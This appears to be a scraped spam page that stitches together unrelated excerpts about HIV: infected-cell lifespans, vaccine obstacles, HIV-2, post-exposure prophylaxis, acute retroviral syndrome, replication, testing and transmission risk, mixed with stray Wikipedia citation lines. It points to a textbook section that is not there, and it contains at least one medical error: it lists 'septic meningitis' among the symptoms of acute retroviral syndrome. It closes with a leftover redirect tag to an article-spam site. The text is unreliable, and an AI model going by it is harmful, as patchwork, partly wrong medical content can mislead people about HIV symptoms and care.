Activated cells that become infected with HIV produce virus immediately and die within one or two days. The vast majority of viruses present in the plasma can be attributed to the short-lived, activated cells. It takes approximately 1.5 days to complete a single HIV life-cycle. Resting cells that become infected produce virus only after immune stimulation and these cells have a half-life of at least 5-6 months. Some cells are infected with defective virus that cannot complete the viral cycle. Such cells survive for a long period of time and have an estimated half-life of 3-6 months. (source: Virology-Online)
The second problem is our uncertainty over what form protective immunity to HIV might take. It is not known whether antibodies, cytotoxic T lymphocyte responses, or both are necessary to achieve protective immunity, and which epitopes might provide the targets of protective immunity. Third, if strong cytotoxic responses are necessary to provide protection against HIV, these might be difficult to develop and sustain through vaccination. Other effective viral vaccines rely on the use of live, attenuated viruses and there are concerns over the safety of pursuing this approach for HIV. Another possible approach is the use of DNA vaccination, a technique that we discuss in Section 14-25. Both of these approaches are being tested in animal models.
HIV-2 is much less pathogenic than HIV-1 and is restricted in its worldwide distribution to West Africa. The adoption of “accessory genes” by HIV-2 and its more promiscuous pattern of co-receptor usage (including CD4-independence) may assist the virus in its adaptation to avoid innate restriction factors present in host cells. Adaptation to use normal cellular machinery to enable transmission and productive infection has also aided the establishment of HIV-2 replication in humans. A survival strategy for any infectious agent is not to kill its host but ultimately become a commensal organism. Having achieved a low pathogenicity, over time, variants that are more successful at transmission will be selected.
Jump up ^ Clevestig P, Maljkovic I, Casper C, Carlenor E, Lindgren S, Navér L, Bohlin AB, Fenyö EM, Leitner T, Ehrnst A (2005). “The X4 phenotype of HIV type 1 evolves from R5 in two children of mothers, carrying X4, and is not linked to transmission”. AIDS Research and Human Retroviruses. 21 (5): 371–8. doi:10.1089/aid.2005.21.371. PMID 15929699.
Post-exposure prophylaxis (PEP) is the use of ARV drugs within 72 hours of exposure to HIV in order prevent infection. PEP includes counselling, first aid care, HIV testing, and administration of a 28-day course of ARV drugs with follow-up care. WHO recommends PEP use for both occupational and non-occupational exposures and for adults and children.
Acute retroviral syndrome usually begins within 1 to 4 wk of infection and usually lasts 3 to 14 days. Symptoms and signs are often mistaken for infectious mononucleosis or benign, nonspecific viral syndromes and may include fever, malaise, fatigue, several types of dermatitis, sore throat, arthralgias, generalized lymphadenopathy, and septic meningitis.
HIV releases RNA, the genetic code of the virus, into the cell. For the virus to replicate, its RNA must be converted to DNA. The RNA is converted by an enzyme called reverse transcriptase (produced by HIV). HIV mutates easily at this point because reverse transcriptase is prone to errors during the conversion of viral RNA to DNA.
If screening test results are positive, they are confirmed by a more accurate, specific tests such as the Western blot. The Western blot test is more difficult to do than screening tests but is more accurate.
People who already have a sexually transmitted infection, such as syphilis, genital herpes, chlamydia, human papillomavirus (HPV), gonorrhea, or bacterial vaginosis, are more likely to acquire HIV infection during sex with an infected partner.
Jump up ^ Cohen, MS; Hellmann, N; Levy, JA; DeCock, K; Lange, J (April 2008). “The spread, treatment, and prevention of HIV-1: evolution of a global pandemic”. The Journal of Clinical Investigation. 118 (4): 1244–54. doi:10.1172/JCI34706. PMC 2276790 . PMID 18382737. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]